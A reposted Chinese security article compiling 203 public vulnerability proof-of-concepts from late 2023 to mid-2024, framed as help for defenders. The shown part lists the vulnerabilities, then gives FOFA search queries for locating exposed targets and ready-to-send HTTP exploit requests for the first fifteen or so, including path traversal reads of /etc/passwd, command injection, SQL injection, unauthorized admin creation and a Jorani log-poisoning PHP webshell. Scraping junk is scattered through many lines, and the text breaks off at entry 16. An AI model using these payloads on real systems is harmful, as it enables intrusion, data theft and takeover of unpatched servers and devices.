互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
( r' E) b. b, N% Y* c以下文章来源于网络安全新视界 ，作者网络安全新视界

! I& U% P4 w: F4 l. ~& t( y发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
6 G: p- w# _0 R& }1 J0 R5 z4 J
4 L- f$ ?" H  ]安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
: g" h: M3 m# z
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


, v: D3 M; Z( A. g+ T2 y6 j8 i声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
. @' W2 c0 k; Z# A
8 }" t: j- m+ N6 J: d% s  |" L有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
$ x+ B. O- r$ i
" a+ z+ H1 f6 v' O9 F8 W0 Y: \

) E! L7 P0 _/ K% x  `9 @7 z目录

01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
% I5 F% n% v" R, H$ U3 G4 ~3. EasyCVR智能边缘网关 userlist 信息泄漏
. t, f' _2 i& V1 S4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
& U% h& ?7 I: ?! D5 J3 K6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
( `; S4 _" x2 G, `3 o4 M7 x8 [9. 稻壳CMS keyword 未授权SQL注入
3 s" \) n- c; A: N6 c! C10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
4 G5 ]! x, @, m  `11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
9 M$ a2 t3 B/ ?1 K5 x& O2 n, b& M12. Jorani < 1.0.2 远程命令执行
% o+ f- M1 v9 p0 U  L13. 红帆iOffice ioFileDown任意文件读取
9 ?9 e& ^  O( H# h# l+ [14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
- d& \9 B, A& n9 W) _% a' v" N17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
9 V  Q: [2 w! U$ ?21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& B4 A5 V* ]; d, X, Y23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
3 m7 M4 Q* [6 E28. 用友NC grouptemplet 任意文件上传
( ]8 |% a6 o; L/ {' O, S0 E1 i29. 用友NC down/bill SQL注入
+ @7 |/ }& K$ W; k2 z; {( S30. 用友NC importPml SQL注入
6 T6 X% t* r) ^- D% l# J, k4 m8 \31. 用友NC runStateServlet SQL注入
! W$ D% H3 m9 z: R/ F* Z8 k32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
/ U: i, d( C( w! `% g34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
7 d) ^2 ?/ e4 |% h% a3 I7 F" `; z( f2 R" e36. 用友NC-Cloud soapFormat XXE
" m2 W1 t) }% ^' x4 G8 i- }37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
8 w8 t& f* f, c& s6 x- ^39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
' G, ]4 {$ ?+ q0 t2 ~" ^41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 r3 ^* d* b5 B42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
+ f) K' o3 T# B' F( f) x$ }- }8 [+ |' F48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
8 N  O5 j, T- ]  `1 d0 r! x51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
1 I3 ~& b' \# e% p0 [; N% h53. 迪普 DPTech VPN Service 任意文件上传
9 C4 S. t% k$ `. y+ k9 ]54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
$ T% N2 v) f0 b8 f6 e8 L56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
  t( C( \0 D) q/ k+ {; B57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
! f9 r( q; M. j7 @, v3 I59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
5 B, L# C6 Y7 s, k- a5 z: F65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
* O( v! q* B, O$ ]) ]7 h68. 万户ezOFFICE wf_printnum.jsp SQL注入
) \: c* ~1 _) h3 d69. 万户 ezOFFICE contract_gd.jsp SQL注入
$ c2 r! X% I( K$ ?4 p70. 万户ezEIP success 命令执行
  \0 K; g! w% E7 e71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
/ q( ~  t, Z) {" ^: e$ A' @  v74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
( V) \5 ?( S6 [, Q! o' i76. 新开普掌上校园服务管理平台service.action远程命令执行
2 X; o5 m! ?9 i  {5 y77. F22服装管理软件系统UploadHandler.ashx任意文件上传
4 R. j; @. a( {  k% T( O1 a78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
% d9 \' f& D3 c  g80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
6 m9 O: `+ O2 R6 f83. JeecgBoot testConnection 远程命令执行
) k' |# `7 ~$ g' c" c" V* _6 D84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
1 Q5 l: G: x4 v( b$ U' R87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
1 Z  B+ t; l* ]" {- g7 F# p" \90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
+ [5 `0 F$ N- ^5 o94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
% W: T5 t! t4 K3 W9 X. Y) {+ X95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 l& n3 X+ i1 x* m; S. s( G7 `4 u98. SpiderFlow爬虫平台远程命令执行
# |$ j. l0 ~, ]99. Ncast盈可视高清智能录播系统busiFacade RCE
5 t- [, D) v: I: z8 J100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
$ S# U8 A" Q7 A4 _. d1 k2 ^6 s  i102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
3 @: p+ @; F% g) F103. Ivanti Pulse Connect Secure VPN XXE
6 k. I5 e+ d/ p104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
0 i: }& [( q. U; L( K: I) u105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
  ?! c- L- z7 r; O: r107. SpringBlade tenant/list SQL 注入
+ u% c# {1 N6 P" W# T- _" d6 b; u108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
$ S) I& {# v2 {' E9 E111. WordPress Plugin HTML5 Video Player SQL注入
- N* ^' W, ^; m* r; n* h6 Z- ~112. WordPress Plugin NotificationX SQL 注入
1 y) `: ?4 V( d0 k; T) l: o( K113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
2 k6 w% L" I+ @# u. C6 K115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
9 X% R0 [$ S" Q; Y: U3 \( L, D118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
; N; I# j7 |4 U$ e9 Y120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
0 O4 H8 \3 L9 K: L1 q, |* S125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
# S! `  U6 D( J8 {128. Adobe ColdFusion 反序列化
! z& W7 m& |; j# J! w1 z8 p129. Adobe ColdFusion 任意文件读取
) n& r6 v  o0 D9 f130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
+ u% H. |+ `: T" I  w132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
' o) z- u$ h+ C0 s134. 网康NS-ASG应用安全网关index.php sql注入
) F- ~# g* h5 q# N135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
4 C5 J9 }1 K  w# U& p138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
2 h  o7 Z; }5 y3 b  P$ T# [145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
, v1 A+ v4 o4 M0 Y9 F; m: r/ q146. MajorDoMo thumb.php 未授权远程代码执行
+ E: E9 K) X  v( A; Q2 C& D147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
7 R8 c; h7 x. S& D0 e148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
+ X: _4 n) X' ^# O150. AJ-Report 1.4.0 认证绕过与远程代码执行
; A7 A& h4 w# b4 I151. AJ-Report 1.4.1 pageList sql注入
! p) j  \1 z3 r/ Y( ^( H152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
& g. D6 w' h) G4 F155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
2 B  F" C) D' C( L. V157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
  W. c) v: C) r162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
# ^* v: Y7 J0 O1 [1 i+ u* I166. 中成科信票务管理平台SeatMapHandler SQL注入
1 D9 ?2 S. n$ c& S0 ]  W& F& d167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
  q/ s+ O* b- }: j172. DT-高清车牌识别摄像机任意文件读取
% j; ?7 Q0 v$ R/ v! S173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
+ z1 ^) f# Y( d: k) w) T' [175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
' h6 T+ V7 k6 ^. U179. 建文工程管理系统存在任意文件读取
: O4 g3 N) T* d1 i. p; f& D180. 帮管客 CRM jiliyu SQL注入
7 I$ M& \% ~7 V! A8 @181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ C+ H, Y& b' q' ]% S183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 Q/ B" n9 R' M$ l8 B0 K185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
5 Y: D0 B4 ^1 H187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 g  h. ^' X1 d8 P- i190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
% O! F0 ~$ Y, V( z; [$ k5 E7 m193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
& |$ l+ T# Z( q" j# ]194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
1 z8 U8 ~& X! O, y/ c# n6 M6 O196. 河南省风速科技统一认证平台密码重置
, u2 c8 b9 g+ D$ Z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
. r  N; u8 M3 s' i$ W9 ]# F; i200. SeaCMS海洋影视管理系统dmku SQL注入
+ s9 i4 d9 F* ]# h6 V201. 方正全媒体新闻采编系统 binary SQL注入
, F5 N$ J& `1 i! a( N/ ?202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

0 l* v& I' l  d' o- B. N02
0 t. ?  N0 J8 @$ E$ M# u; [6 }( R- v  l
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
# y0 d2 z: ?' bGET /mem_tracker HTTP/1.1
Host: URL


2. Casdoor系统static任意文件读取
; U9 f. t/ H" Q; a% P: v9 RFOFA ：title="Casdoor"
3 W/ x; S7 Q4 u/ N$ S' \GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
0 S; ~/ V7 |) F& j/ G- p1 P7 vAccept: */*
' U' g  M+ v5 W  @' J/ X- VAccept-Language: en
Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
& D% H& T/ H+ O+ V& jFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
8 m) c& i! r9 R; ]! F1 ]; WHost: xx.xx.xx.xx
2 F* s" y" k8 \# p
) p" b. p0 s7 P
: z' g! f9 \, E3 h" L0 I3 j4. EasyCVR视频管理平台存在任意用户添加
6 F9 }, W* |9 y6 B. p0 a" }, GFOFA ：title="EasyCVR"
1 |" ~) X! `4 q- v
( L) b# ^7 T1 r9 [) G% F9 vpassword更改为自己的密码md5
" ?! d" s5 A1 }3 _/ b/ k8 ?0 IPOST /api/v1/adduser HTTP/1.1
Host: your-ip
+ k& _/ i; S9 h% f: YContent-Type: application/x-www-form-urlencoded; charset=UTF-8
+ ]2 Y, E6 J  M% U
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
1 b. g: t3 b; N/ F

& u4 ]. q& \1 n. U/ X7 k" v5. NUUO NVR 视频存储管理设备远程命令执行
' O. ~1 ]5 [+ _. u  x% c7 [FOFA：title="Network Video Recorder Login"
- T% |& L1 i# c+ ]( w% f  jGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
+ |! M5 h( g# T) _* h( f3 Q- }Host: xx.xx.xx.xx
2 r4 v: N9 ~, U1 O

/ C1 U; P9 N( k6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
8 D6 ?. Y2 w9 f1 OGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
' O( [5 Z0 m8 PHost:
: C! h: A( B0 K1 _

0 N5 N0 G! d6 k3 m7 z4 \# e% Z7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
9 }2 _' Z. M4 U1 {GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
9 m+ C3 C$ f2 e3 Z9 O: B

1 I/ c, f' C- [. c8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
" o' o6 S0 b  B) d默认账号admin登录后台后，执行操作
7 @: V3 W0 a3 b: t/ V0 Q" \POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
+ C" {+ V( S, _  w" m) {Host: x.x.x.x
8 f2 E7 }" R$ s$ ^% bCookie: sysauth=第一步登录获取的cookie
$ h/ X7 M) f' `0 u9 y$ QContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
0 \9 o( N5 y7 C0 C: J  u- fUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
4 p' L2 X$ {9 i/ G/ m8 Y
+ }. ^8 e# y$ }: u$ c7 t------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

5 b2 f0 {0 h+ S6 k%s
; Q) e7 L4 g" Y------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

  s: P$ B% ?( d" @# C- n12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

( k, S( c- [0 ~4 h( }% U! f, h+ h2 q%s:
; b: ^0 }. D* R0 H7 ^------WebKitFormBoundaryxbgjoytz
/ F- [* C) v- \1 s: S" v9 ^Content-Disposition: form-data; name="cururl2"


+ A" D7 l  r4 K------WebKitFormBoundaryxbgjoytz--

; Y" e  H7 E7 s4 z: ^! d: f" v( }
1 S4 W  f* X- \) Z! c/ U! S, {+ s; I9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
4 r# x6 C& G  l# sGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

2 ~7 }* E: Y* B! t+ y3 }$ q4 I% M
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

  g) g& t8 I! `  W, h6 G4 t10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
7 M& u* j7 s: VFOFA：icon_hash="953405444"
( v7 G) `. e) v7 ~: B3 e
' h5 b6 Z( P' V: v% f文件上传后响应中包含上传文件的路径
" y; X' m5 \4 N- k. k6 o3 oPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
: M8 I) |- ~, `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
* s/ w& I7 C% d8 u! \, B% ?Content-Length: 197
/ L5 X8 L$ ?# d* H4 B4 S) BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 L: q2 t' S* o1 @2 N! I( {& y# [+ wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, j8 p1 r8 s' ?" w* @0 sContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
7 V, d8 ?  c) Q
/ s3 i+ w! c, ]6 S$ d/ E------WebKitFormBoundaryxdgaqmqu
; b' s/ S% y( `& ]& sContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
, K7 H0 k8 P, O
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

# c+ ~6 T$ P: h) O' d! u% x) Y
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
' R/ X1 |) o* }$ `9 F) oFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
( B, Q1 r, ?$ n* j" r3 Q% r$ OUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& s$ d$ u# F0 O2 D5 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 ^: l4 E! _( T  CAccept-Encoding: gzip, deflate
6 M& O* u! m: eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
7 n/ K( l3 I# }8 Q
& v' w, l% x4 N! [
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
$ H2 w' ]5 i  ]* j9 f第一步先拿到cookie
! t; L4 k7 G4 OGET /session/login HTTP/1.1
5 ?/ x/ Z6 p' [6 W$ B% Q7 a0 ^Host: 192.168.190.30
, N  }3 B7 l  `3 VUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
7 ]8 `& [1 n) h7 IConnection: close
" g/ Z" I: n! @( g! n: ]Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
# U9 T- H- k* D" @8 ZCache-Control: no-store, no-cache, must-revalidate
7 B  n+ J9 x6 k1 ], O9 X" `, z+ zContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
$ @$ T+ c7 P/ B+ ^Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
2 f7 @# F, z& K! \  B( M; T  k7 Q9 _Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
% x8 Z; Q: ]( o; X$ xSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
, v/ Q* w/ F- p) g+ w

9 Q1 y. p8 [' h+ j2 V6 d: C- m" Y' @POST请求，执行函数并进行base64编码
0 U7 V5 C. O% F8 NPOST /session/login HTTP/1.1
3 J6 {" F0 t# x- }: ^5 }$ n* THost: 192.168.190.30
" ~1 u) P3 w& Q7 \0 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
! U9 b: I" |/ q9 wContent-Length: 252
8 b7 z! Q; k3 P5 d  F" GContent-Type: application/x-www-form-urlencoded
+ ^/ G  J! @/ q2 tCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
4 {6 E9 K1 M/ T% @8 g

8 ?0 R- o8 |& k; T
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
9 V; l7 Y! S# O, IHost: 192.168.190.30
: c4 ^! o* v8 N4 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
0 d/ ~4 F1 C$ Y: KConnection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
0 {) X; [: G6 W4 E/ V! t  oAccept-Encoding: gzip

1 r/ {- |/ I' W+ J  Z1 R1 N: }
0 z- o  x2 v9 x0 z# h' j' i13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
/ q: j1 m4 o' d% f8 vGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
6 j# C8 t/ g9 n8 V+ M5 P1 |/ N& {Accept: */*
Accept-Encoding: gzip
9 g0 F, i. e$ ?
' F( V; B6 b! d# n% ~: J" r
14. 华夏ERP（jshERP）敏感信息泄露
# X. B% ^- k% m/ P# w6 rFOFA：body="jshERP-boot"
0 \9 o: O8 |7 o7 a泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
% H" x" n2 l; [& tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
& k$ @8 M: V$ _  T2 XAccept: */*
Accept-Language: en
( W! k+ ?' R# o- @) P( sAccept-Encoding: gzip
, M% a4 {2 X+ h

  x5 C( d, ^( M+ F  N2 @15. 华夏ERP getAllList信息泄露
% n6 X& L1 _, ]; RCVE-2024-0490
) P6 ~; o; a1 t5 R* {FOFA：body="jshERP-boot"
, P& P) M, t: ]# a5 }( c- R) ]泄露内容包括用户名密码
1 ]) i+ C' o7 m7 G0 N/ y! e2 C* s4 }6 mGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
( G1 X) V0 I/ O) }8 ~% z$ lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
; f7 r) p: H7 WAccept-Language: en
sec-ch-ua-platform: Windows
7 i* K* F- r0 o- _9 b7 [Accept-Encoding: gzip
% k& h) o* W! ~' ]# F1 g

0 Y+ `4 r: `1 ]( s+ F. s/ q# P' G16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
